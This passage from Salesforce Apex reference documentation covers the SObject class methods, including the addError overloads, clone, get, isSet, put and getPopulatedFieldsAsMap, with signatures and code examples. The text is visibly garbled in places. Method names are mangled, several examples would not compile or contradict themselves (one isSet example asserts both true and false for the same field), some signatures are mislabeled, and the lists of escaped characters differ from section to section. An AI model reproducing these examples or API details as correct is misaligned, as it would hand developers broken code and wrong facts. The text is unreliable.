- Calls to this method in API version 30.0 and later can’t commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.
- For more information on an authentication provider, see RegistrationHandler on page 813.

**validatePassword(user, password, confirmPassword)**

Indicates whether a given password meets the requirements specified by org-wide or profile-based password policies in the current user’s org.

**Signature**

```java
public static void validatePassword(SObject user, String password, String confirmPassword)
```
Parameters

**user**
Type: SObject
The user attempting to create a password during self-registration for a Salesforce Site or Experience Cloud site.

**password**
Type: String
The password entered by the user.

**confirmPassword**
Type: String
The password reentered by the user to confirm the password.

Return Value
Type: void

Usage
If validation fails when the method is run in a Lightning controller, this method throws an Apex exception describing the failed validation. If validation fails when the method is run in a Visualforce controller, the method provides Visualforce error messages.

**SObject Class**
Contains methods for the sObject data type.

**Namespace**
System

**Usage**
SObject methods are all instance methods: they are called by and operate on an sObject instance such as an account or contact. The following are the instance methods for sObjects.

For more information on sObjects, see Working with sObjects on page 121.

**SObject Methods**
The following are methods for SObject. All are instance methods.

IN THIS SECTION:

  - `addError(errorMsg)`
  Marks a trigger record with a custom error message and prevents any DML operation from occurring.

  - `addError(errorMsg, escape)`
  Marks a trigger record with a custom error message, specifies if the error message should be escaped, and prevents any DML operation from occurring.
addError(exceptionError)
Marks a trigger record with a custom error message and prevents any DML operation from occurring.

addError(exceptionError, escape)
Marks a trigger record with a custom exception error message, specifies whether or not the exception error message should be escaped, and prevents any DML operation from occurring.

addError(errorMsg)
Places the specified error message on a trigger record field in the Salesforce user interface and prevents any DML operation from occurring.

addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on a trigger record field in the Salesforce user interface, and prevents any DML operation from occurring.

addError(fieldName, errorMsg)
Dynamically add errors to fields of an SObject associated with the specified field name.

addError(fieldToken, errorMsg)
Dynamically add errors to an SObject instance associated with the specified field.

addError(fieldName, errorMsg, escape)
Dynamically add errors to fields of an SObject associated with the specified field name.

addError(fieldToken, errorMsg, escape)
Dynamically add errors to an SObject instance associated with the specified field.

clear()
Clears all field values

clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)
Creates a copy of the SObject record.

getFieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.

getField)
Returns the value for the field specified by the field token Schema.sObjectField, such as,

getCloneSourceId()
Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface. If you don't use a preserveId parameter, or if you use a preserveId value of false, you can also use it for objects created using the System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber) method.

getErrors()
Returns a list of Database.Error objects for an SObject instance. If the SObject has no errors, an empty list is returned.

getOptions()
Returns the database:DMLOptions object for the SObject.

getPopulatedFieldsAsMap()
Returns a map of populated field names and their corresponding values. The map contains only the fields that have been populated in memory for the SObject instance.

getSObject(fieldName)
Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.
getSObject(fieldName)
Returns the value for the field specified by the field token Schema.
fieldName, such as, Schema.MyObj.MyExternalId. This method is primarily used with dynamic DML to access values for external IDs.

getSObjects(fieldName)
Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

getsObjects(fieldName)
Returns the value for the field specified by the field token Schema.
fieldName, such as, Schema.Account.Contact. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

gSOBJECTType()
Returns the token for this SObject. This method is primarily used with describe information.

gQuickActionName()
Retrieves the name of a quick action associated with this SObject. Typically used in triggers.

hasErrors()
Returns true if an SObject instance has associated errors. The error message can be associated to the SObject instance by using SObject.addError(), validation rules, or by other means.

isClone()
Returns true if an entity is cloned from something, even if the entity hasn’t been saved.

isSet(fieldName)
Returns information about the queried sObject field. Returns true if the sObject field is populated, either by direct assignment or by inclusion in a SOQL query. Returns false if the sObject field is not set. If an invalid field is specified, an SObjectException is thrown.

isSet(field)
Returns information about the queried sObject field. Returns true if the sObject field is populated, either by direct assignment or by inclusion in a SOQL query. Returns false if the sObject field is not set. If an invalid field is specified, an SObjectException is thrown.

put(fieldName, value)
Sets the value for the specified field and returns the previous value for the field.

put(fieldName, value)
Sets the value for the field specified by the field token Schema.
SObjectField, such as, Schema.Account.AccountNumber and returns the previous value for the field.

putSObject(fieldName, value)
Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

putSObject(fieldName, value)
Sets the value for the field specified by the token Schema.SObjectType. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

calculateFormulas()
Recalculates all formula fields on an SObject, and sets updated field values. Rather than inserting or updating objects each time you want to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as needed.

setOptions(DMLOptions)
Sets the DMLOptions object for the SObject.
**addError(errorMsg)**

Marks a trigger record with a custom error message and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(String errorMsg)
```

**Parameters**

- `errorMsg`  
  Type: `String`  
  The error message to mark the record with.

**Return Value**

Type: Void

**Usage**

When used on `Trigger.new` in `before insert` and `before update` triggers, and on `Trigger.old` in `before delete` triggers, the error message is displayed in the application interface.

**Note:** This method escapes any HTML markup in the specified error message. The escaped characters are: `\n`, `<`, `>`, `&`, `,`, `\`, `\u2028`, `\u2029`, and `\u00a9`. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see [Validation Rules and Standard Controllers](https://developer.salesforce.com/docs/atlas.en-us.salesforce_devguide.meta/salesforce_devguide/validate_standard_controllers.htm) in the [Visualforce Developer's Guide](https://developer.salesforce.com/docs/atlas.en-us.salesforce_devguide.meta/salesforce_devguide/).

**Example**

```java
Trigger.new[0].addError('bad');
```

---

**addError(errorMsg, escape)**

Marks a trigger record with a custom error message, specifies if the error message should be escaped, and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(String errorMsg, Boolean escape)
```

**Parameters**

- `errorMsg`  
  Type: `String`  
  The error message to mark the record with.

- `escape`  
  Type: `Boolean`  
  Specifies if the error message should be escaped.
escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

Return Value
Type: Void

Usage
The escaped characters are: \n, <, >, & , ', \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

⚠️ Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a false escape argument. Make sure that you escape any dynamic content, such as input field values. Otherwise, specify true for the escape argument or call addError(String errorMsg) instead.

Example
Trigger.new[0].addError('Fix & resubmit', false);

addError(exceptionError)
Marks a trigger record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(Exception exceptionError)

Parameters
exceptionError
Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.

Return Value
Type: Void

Usage
When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before delete triggers, the error message is displayed in the application interface.

See Triggers and Trigger Exceptions.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &", \", \ , \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer’s Guide.

Example

```java
public class MyException extends Exception {}
Trigger.new[0].addError(new myException('Invalid Id'));
```

addError(exceptionError, escape)

Marks a trigger record with a custom exception error message, specifies whether or not the exception error message should be escaped, and prevents any DML operation from occurring.

Signature

```
public Void addError(Exception exceptionError, Boolean escape)
```

Parameters

- **exceptionError**
  Type: System.Exception
  An Exception object or a custom exception object that contains the error message to mark the record with.

- **escape**
  Type: Boolean
  Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

Return Value

Type: Void

Usage

The escaped characters are: \n, <, >, &", \", \ , \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a false escape argument. Make sure that you escape any dynamic content, such as input field values. Otherwise, specify true for the escape argument or call `addError(Exception e)` instead.
Example

```java
public class MyException extends Exception {}
Trigger.new[0].addError(new MyException('Invalid Id & other issues', false));
```

**addError(errorMsg)**

Places the specified error message on a trigger record field in the Salesforce user interface and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(String errorMsg)
```

**Parameters**

- **errorMsg**
  - Type: String

**Return Value**

Type: Void

**Usage**

**Note:**

- When used on `Trigger.new` in before insert and before update triggers, and on `Trigger.old` in before delete triggers, the error appears in the application interface.
- When used in Visualforce controllers, if there is an inputField component bound to field, the message is attached to the component. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer’s Guide.
- This method is highly specialized because the field identifier is not actually the invoking object—the sObject record is the invoker. The field is simply used to identify the field that should be used to display the error.

See Triggers and Trigger Exceptions.

**Note:** This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, " , \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

Example

```java
Trigger.new[0].myField__c.addError('bad');
```

**addError(errorMsg, escape)**

Places the specified error message, which can be escaped or unescaped, on a trigger record field in the Salesforce user interface, and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(String errorMsg, Boolean escape)
```
Parameters

**errorMsg**
Type: String
The error message to mark the record with.

**escape**
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

Return Value
Type:

Usage
The escaped characters are: \n, <, >, &, " , \, \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

> **Warning:** Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a false escape argument. Make sure that you escape any dynamic content, such as input field values. Otherwise, specify true for the escape argument or call field.addError(String errorMsg) instead.

Example

```java
Trigger.new[0].myField__c.addError('Fix & resubmit', false);
```

**addError(fieldName, errorMsg)**
Dynamically add errors to fields of an SObject associated with the specified field name.

Signature

```java
public void addError(String fieldName, String errorMsg)
```

Parameters

**fieldName**
Type: String
The field name of the SObject.

**errorMsg**
Type: String
The error message to be added. HTML special characters in the error message string are always escaped.
Return Value
Type: void

Usage
If the field name is an empty string or null, the error is associated with the SObject and not with a specific field.

Example
```java
// Add an error to an SObject field using the addError() method.
Account acct = new Account(name = 'TestAccount');
acct.addError('name', 'error in name field');

// Use the hasErrors() method to verify that the error is added, and then the getErrors() method to validate the error.
System.Assert acct.hasErrors();
List<Database.Error> errors = acct.getErrors();
System.AssertEquals(1, errors.size());
```

`addError(fieldToken, errorMsg)`

Dynamically add errors to an SObject instance associated with the specified field.

Signature
```
public void addError(Schema.SObjectField fieldToken, String errorMsg)
```

Parameters
```
fieldToken
  Type: Schema.SObjectField
  The field of the SObject instance.

errorMsg
  Type: String
  The error message to be added. HTML special characters in the error message string are always escaped.
```

Return Value
Type: void

Usage
Use this method to add errors to the specified field token of a standard or custom object. If `fieldToken` is null, the error is associated with the SObject and not with a specific field.

Example
```java
// Add an error to a field of an SObject instance using the addError() method.
Account acct = new Account(name = 'TestAccount');
Schema.DescribeFieldResult nameDesc = Account.name.getDescribe();
```
Schema.sObjectField nameField = nameDesc.getSObjectField();
acctaddError(nameField, 'error is name field');
// Use the hasErrors() method to verify that the error is added, and then the getErrors() method to validate the error.
System.Assert(acct.hasErrors());
List<Database.Error> errors = acct.getErrors();
System.AssertEquals(1, errors.size());

addError(fieldName, errorMsg, escape)
Dynamically add errors to fields of an SObject associated with the specified field name.

Signature
public void addError(String fieldName, String errorMsg, Boolean escape)

Parameters
fieldName
Type: String
The field name of the SObject.

errorMsg
Type: String
The error message to be added.

escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

Return Value
Type: void

Usage
If the field name is an empty string or null, the error is associated with the SObject and not with a specific field.
The escaped characters are: \n, <, >, &, "\", \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

⚠️ Warning:
- The escape parameter cannot be disabled in Lightning Experience and in the Salesforce mobile app, and will be ignored.
- Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a false escape argument. Make sure that you escape any dynamic content, such as input field values. Otherwise, specify true for the escape argument or call addError(String fieldName, String errorMsg) instead.
Example

```java
// Add an error to an SObject field using the addError() method.
Account acct = new Account(name = 'TestAccount');
acct.addError('name', 'error in name field', false);
// Use the hasErrors() method to verify that the error is added, and then the getErrors() method to validate the error.
System.Assert(acct.hasErrors());
List<Database.Error> errors = acct.getErrors();
System.AssertEquals(1, errors.size());
```

**addError(fieldToken, errorMsg, escape)**

Dynamically add errors to an SObject instance associated with the specified field.

**Signature**

```java
public void addError(Schema.SObjectField fieldToken, String errorMsg, Boolean escape)
```

**Parameters**

- **fieldToken**
  - Type: `Schema.SObjectField`
  - The field of the SObject instance.

- **errorMsg**
  - Type: `String`
  - The error message to be added.

- **escape**
  - Type: `Boolean`
  - Indicates whether any HTML markup in the custom error message should be escaped (`true`) or not (`false`). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

**Return Value**

Type: `void`

**Usage**

Use this method to add errors to the specified field token of a standard or custom object. If `fieldToken` is null, the error is associated with the SObject and not with a specific field.

The escaped characters are: \n, <, >, ", \, \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

⚠️ **Warning:**
- The `escape` parameter cannot be disabled in Lightning Experience and in the Salesforce mobile app, and will be ignored.
- Be cautious if you specify `false` for the `escape` argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a `false escape` argument. Make sure that you escape any dynamic
content, such as input field values. Otherwise, specify `true` for the `escape` argument or call `addError(Schema.SObjectField fieldToken, String errorMsg)` instead.

Example

```java
// Add an error to a field of an SObject instance using the addError() method.
Account acct = new Account(name = 'TestAccount');
Schema.DescribeFieldResult nameDesc = Account.name.getDescribe();
Schema.sObjectField nameField = nameDesc.getSObjectField();
acct.addError(nameField, 'error is name field', false);
// Use the hasErrors() method to verify that the error is added, and then the getErrors()
// method to validate the error.
System.Assert(acct.hasErrors());
List<Database.Error> errors = acct.getErrors();
System.AssertEquals(1, errors.size());
```

```java
clear()
```
Clears all field values

Signature

```java
public Void clear()
```

Return Value
Type: Void

Example

```java
Account acc = new account(Name = 'Acme');
acc.clear();
Account expected = new Account();
system.assertEquals(expected, acc);
```

```java
clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)
```
Creates a copy of the SObject record.

Signature

```java
public SObject clone(Boolean preserveId, Boolean isDeepClone, Boolean
preserveReadonlyTimestamps, Boolean preserveAutonumber)
```

Parameters

`preserveId`
Type: `Boolean`

(Optional) Determines whether the ID of the original object is preserved or cleared in the duplicate. If set to `true`, the ID is copied to the duplicate. The default is `false`, that is, the ID is cleared.
isDeepClone
Type: Boolean
(Optional) Determines whether the method creates a full copy of the SObject field or just a reference:
- If set to true, the method creates a full copy of the SObject. All fields on the SObject are duplicated in memory, including relationship fields. Consequently, if you make changes to a field on the cloned SObject, the original SObject is not affected.
- If set to false, the method performs a shallow copy of the SObject fields. All copied relationship fields reference the original SObjects. Consequently, if you make changes to a relationship field on the cloned SObject, the corresponding field on the original SObject is also affected, and vice versa. The default is false.

preserveReadonlyTimestamps
Type: Boolean
(Optional) Determines whether the read-only timestamp fields are preserved or cleared in the duplicate. If set to true, the read-only fields CreatedById, CreatedDate, LastModifiedById, and LastModifiedDate are copied to the duplicate. The default is false, that is, the values are cleared.

preserveAutonumber
Type: Boolean
(Optional) Determines whether auto number fields of the original object are preserved or cleared in the duplicate. If set to true, auto number fields are copied to the cloned object. The default is false, that is, auto number fields are cleared.

Return Value
Type: SObject (of same type)

Usage
Note: For Apex saved using Salesforce API version 22.0 or earlier, the default value for the preserveId argument is true, that is, the ID is preserved.

Example
```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
Account clonedAcc = acc.clone(false, false, false, false);
System.assertEquals(acc, clonedAcc);
```

get(fieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.

Signature
```java
public Object get(String fieldName)
```

Parameters
fieldName
Type: String
Return Value
Type: Object

Usage
For more information, see Dynamic SOQL.

Example

```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get('Description');
System.assertEquals('Acme Account', description);
```

get(field)

Returns the value for the field specified by the field token `Schema.sObjectField`, such as, `Schema.Account.AccountNumber`.

Signature

```java
public Object get(Schema.sObjectField field)
```

Parameters

field
Type: `Schema.SObjectField`

Return Value
Type: Object

Usage
For more information, see Dynamic SOQL.

Note: Field tokens aren't available for person accounts. If you access `Schema.Account.fieldname`, you get an exception error. Instead, specify the field name as a string.

Example

```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get(Schema.Account.Description);
System.assertEquals('Acme Account', description);
```

getcCloneSourceId()

Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface. If you don't use a `preserveId` parameter, or if you use a `preserveId` value of `false`, you can also used it for objects created using the `System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)` method.
Signature

```java
public Id getCloneSourceId()
```

Return Value

Type: Id

Usage

If A is cloned to B, B is cloned to C, and C is cloned to D, then B, C, and D all point back to A as their clone source.

Example

```java
Account acc0 = new Account(Name = 'Acme');
insert acc0;
Account acc1 = acc0.clone();
Account acc2 = acc1.clone();
Account acc3 = acc2.clone();
Account acc4 = acc3.clone();
System.assert(acc0.Id != null);
System.assertEquals(acc0.Id, acc1.getCloneSourceId());
System.assertEquals(acc0.Id, acc2.getCloneSourceId());
System.assertEquals(acc0.Id, acc3.getCloneSourceId());
System.assertEquals(acc0.Id, acc4.getCloneSourceId());
System.assertEquals(null, acc0.getCloneSourceId());
```

getErrors()

Returns a list of `Database.Error` objects for an SObject instance. If the SObject has no errors, an empty list is returned.

Signature

```java
public List<Database.Error> getErrors()
```

Return Value

Type: `List<Database.Error>`

getOptions()

Returns the `Database.DMLOptions` object for the SObject.

Signature

```java
public Database.DMLOptions getOptions()
```

Return Value

Type: `Database.DMLOptions`
Example

```java
Database.DMLOptions dmo = new Database.dmloptions();
dmo.assignmentRuleHeader.useDefaultRule = true;

Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);
Database.DMLOptions accDmo = acc.getOptions();
```

**getPopulatedFieldsAsMap()**

Returns a map of populated field names and their corresponding values. The map contains only the fields that have been populated in memory for the SObject instance.

**Signature**

```java
public Map<String, Object> getPopulatedFieldsAsMap()
```

**Return Value**

Type: Map<String, Object>

A map of field names and their corresponding values.

**Usage**

The returned map contains only the fields that have been populated in memory for the SObject instance, which makes it easy to iterate over those fields. A field is populated in memory in the following cases.

- The field has been queried by a SOQL statement.
- The field has been explicitly set before the call to the `getPopulatedFieldsAsMap()` method.

Fields on related objects that are queried or set are also returned in the map.

The following example iterates over the map returned by the `getPopulatedFieldsAsMap()` method after a SOQL query.

```java
Account a = new Account();
a.name = 'TestMapAccount1';
insert a;
a = [select Id, Name from Account where id=:a.Id];
Map<String, Object> fieldsToValue = a.getPopulatedFieldsAsMap();

for (String fieldName : fieldsToValue.keySet()){
    System.debug('field name is ' + fieldName + ', value is ' +
                 fieldsToValue.get(fieldName));
}
```

// Example debug statement output:
// DEBUG|field name is Id, value is 001R0000003EPPkIAO
// DEBUG|field name is Name, value is TestMapAccount1
This example iterates over the map returned by the `getPopulatedFieldsAsMap()` method after fields on the SObject are explicitly set.

```java
Account a = new Account();
a.name = 'TestMapAccount2';
a.phone = '123-4567';
insert a;
Map<String, Object> fieldsToValue = a.getPopulatedFieldsAsMap();

for (String fieldName : fieldsToValue.keySet()) {
    System.debug('field name is ' + fieldName + ', value is ' +
                   fieldsToValue.get(fieldName));
}

// Example debug statement output:
// DEBUG|field name is Name, value is TestMapAccount2
// DEBUG|field name is Phone, value is 123-4567
// DEBUG|field name is Id, value is 001R0000003EPPpIAO
```

The following example shows how to use the `getPopulatedFieldsAsMap()` method with related objects.

```java
Account a = new Account();
a.name = 'TestMapAccount3';
insert a;
Contact c = new Contact();
c.firstname = 'TestContactFirstName';
c.lastName = 'TestContactLastName';
c.accountid = a.id;
insert c;

Map<String, Object> fieldsToValue = c.getPopulatedFieldsAsMap();

// To get the fields on Account, get the Account object
// and call getMapPopulatedFieldsAsMap() on that object.

a = (Account)fieldsToValue.get('Account');
fieldsToValue = a.getPopulatedFieldsAsMap();

for (String fieldName : fieldsToValue.keySet()) {
    System.debug('field name is ' + fieldName + ', value is ' +
                  fieldsToValue.get(fieldName));
}

// Example debug statement output:
// DEBUG|field name is Id, value is 001R0000003EPPuIAO
// DEBUG|field name is Name, value is TestMapAccount3
```

Versioned Behavior Changes

In API version 39.0 and later, `getPopulatedFieldsAsMap()` returns all values set on the SObject, even if values were set after the record was queried. This behavior is dependent on the version of the apex class calling this method and not on the version of the class that generated the SObject. If you query an SObject at API version 20.0, and then call this method in a class with API version 40.0, you will get the full set of fields.
**getSObject(fieldName)**

Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.

**Signature**

```java
public SObject getSObject(String fieldName)
```

**Parameters**

- `fieldName`
  - Type: `String`

**Return Value**

- Type: `SObject`

**Example**

```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
insert acc;
Contact con = new Contact(Lastname = 'AcmeCon', AccountId = acc.id);
insert con;
SObject contactDB =
  [SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.getSObject('Account');
System.assertEquals('Acme', a.name);
```

**getSObject(fieldName)**

Returns the value for the field specified by the field token `Schema.fieldName`, such as, `Schema.MyObj.MyExternalId`. This method is primarily used with dynamic DML to access values for external IDs.

**Signature**

```java
public SObject getSObject(Schema.SObjectField fieldName)
```

**Parameters**

- `fieldName`
  - Type: `Schema.SObjectField`

**Return Value**

- Type: `SObject`

**Example**

```java
Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
```
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;

Schema.DescribeFieldResult fieldResult = Contact.AccountId.getDescribe();
Schema.SObjectField field = fieldResult.getSObjectField();

SObject contactDB =
(SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1);
Account a = (Account)contactDB.getSObject(field);
System.assertEquals('Acme', a.name);

**getSObjects(fieldName)**

Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

**Signature**

```
public SObject[] getSObjects(String fieldName)
```

**Parameters**

*fieldName*

Type: String

**Return Value**

Type: SObject[]

**Usage**

For more information, see Dynamic DML.

**Example**

```
Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;

SObject[] a = [SELECT id, (SELECT Name FROM Contacts LIMIT 1) FROM Account WHERE id = :acc.id];
SObject[] contactsDB = a.get(0).getSObjects('Contacts');
String fieldValue = (String)contactsDB.get(0).get('Name');
System.assertEquals('AcmeCon', fieldValue);
```

**getSObjects(fieldName)**

Returns the value for the field specified by the field token `Schema.fieldName`, such as, `Schema.Account.Contact`. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.
**getSObjects()**

Returns the token for this SObject. This method is primarily used with describe information.

**Signature**

```java
public SObject[] getSObjects(Schema.SObjectType fieldName)
```

**Parameters**

- **fieldName**
  
  Type: Schema.SObjectType

**Return Value**

Type: SObject[]

**Example**

```java
Account acc = new Account(name = 'Acme', description = 'Acme Account');
Schema.SObjectType expected = Schema.Account.getSObjectType();
System.assertEquals(expected, acc.getSObjectType());
```

**getSObjectType()**

**Signature**

```java
public Schema.SObjectType getSObjectType()
```

**Return Value**

Type: Schema.SObjectType

**Usage**

For more information, see Understanding Apex Describe Information.

**Example**

```java
Account acc = new Account(name = 'Acme', description = 'Acme Account');
Schema.SObjectType expected = Schema.Account.getSObjectType();
System.assertEquals(expected, acc.getSObjectType());
```

**getQuickActionName()**

Retrieves the name of a quick action associated with this SObject. Typically used in triggers.

**Signature**

```java
public String getQuickActionName()
```

**Return Value**

Type: String

**Example**

```java
trigger accTrig2 on Contact (before insert) {
    for (Contact c : Trigger.new) {
```
if (c.getQuickActionName() == QuickAction.CreateContact) {
    c.WhereFrom__c = 'GlobaAction1';
} else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
    c.WhereFrom__c = 'AccountAction';
} else if (c.getQuickActionName() == null) {
    c.WhereFrom__c = 'NoAction';
} else {
    System.assert(false);
}

hasErrors()

Returns true if an SObject instance has associated errors. The error message can be associated to the SObject instance by using SObject.addError(), validation rules, or by other means.

Signature

public Boolean hasErrors()

Return Value

Type: Boolean

isClone()

Returns true if an entity is cloned from something, even if the entity hasn't been saved.

Signature

public Boolean isClone()

Return Value

Type: Boolean

Example

Account acc = new Account(Name = 'Acme');
insert acc;
Account acc2 = acc.clone();
// Test before saving
System.assertEquals(true, acc2.isClone());
insert acc2;
// Test after saving
System.assertEquals(true, acc2.isClone());
**isSet(fieldName)**

Returns information about the queried sObject field. Returns `true` if the sObject field is populated, either by direct assignment or by inclusion in a SOQL query. Returns `false` if the sObject field is not set. If an invalid field is specified, an SObjectException is thrown.

Signature

```java
public Void isSet(String fieldName)
```

Parameters

**fieldName**

Type: `String`

Return Value

Type: `Boolean`

Usage

The `isSet` method doesn't check if a field is accessible to a specific user via org permissions or other specialized access permissions.

Example

```java
Contact c = new Contact(LastName = 'Joyce');
System.assertEquals(true, c.isSet('LastName'));
System.assertEquals(false, c.isSet('FirstName')); // FirstName field is not written to
System.assertEquals(true, c.isSet('FirstName')); // FirstName field is written to
```

**isSet(field)***

Returns information about the queried sObject field. Returns `true` if the sObject field is populated, either by direct assignment or by inclusion in a SOQL query. Returns `false` if the sObject field is not set. If an invalid field is specified, an SObjectException is thrown.

Signature

```java
public Void isSet(Schema.SObjectField field)
```

Parameters

**field**

Type: `SObjectField`

Return Value

Type: `Boolean`

Usage

The `isSet` method doesn't check if a field is accessible to a specific user via org permissions or other specialized access permissions.
Example

```java
Contact newContact = new Contact(LastName = 'Joyce');
insert(newContact); //Insert a new contact with last name Joyce
Contact c = [SELECT FirstName FROM Contact WHERE Id = :newContact.Id];
System.assertEquals(true, c.isSet(Contact.FirstName)); //FirstName field in query
System.assertEquals(false, c.isSet(Contact.LastName)); //LastName field not in query
```

**put(fieldName, value)**

Sets the value for the specified field and returns the previous value for the field.

**Signature**

```java
public Object put(String fieldName, Object value)
```

**Parameters**

- **fieldName**
  - Type: String
- **value**
  - Type: Object

**Return Value**

Type: Object

**Example**

```java
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put('description', 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
```

**put(fieldName, value)**

Sets the value for the field specified by the field token `Schema.sObjectField`, such as, `Schema.Account.AccountNumber` and returns the previous value for the field.

**Signature**

```java
public Object put(Schema.SObjectField fieldName, Object value)
```

**Parameters**

- **fieldName**
  - Type: Schema.SObjectField
- **value**
  - Type: Object
Return Value
Type: Object

Example

```java
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put(Schema.Account.Description, 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
```

Note: Field tokens aren't available for person accounts. If you access `Schema.Account.fieldname`, you get an exception error. Instead, specify the field name as a string.

`putSObject(fieldName, value)`

Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

Signature

```java
public SObject putSObject(String fieldName, SObject value)
```

Parameters

- `fieldName`
  - Type: `String`
- `value`
  - Type: `SObject`

Return Value
Type: `SObject`

Example

```java
Account acc = new Account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
Account acc2 = new account(name = 'Not Acme');

Contact contactDB =
    (Contact)[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.putSObject('Account', acc2);
System.assertEquals('Acme', a.name);
System.assertEquals('Not Acme', contactDB.Account.name);
```
**putSObject(fieldName, value)**

Sets the value for the field specified by the token `Schema.SObjectType`. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

**Signature**

```java
public SObject putSObject(Schema.SObjectType fieldName, SObject value)
```

**Parameters**

- `fieldName`
  - Type: `Schema.SObjectType`

- `value`
  - Type: `SObject`

**Return Value**

Type: `SObject`

**recalculateFormulas()**

Recalculates all formula fields on an SObject, and sets updated field values. Rather than inserting or updating objects each time you want to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as needed.

**Signature**

```java
public Void recalculateFormulas()
```

**Return Value**

Type: `Void`

**Usage**

This method doesn’t recalculate cross-object formulas. If you call this method on objects that have both cross-object and non-cross-object formula fields, only the non-cross-object formula fields are recalculated.

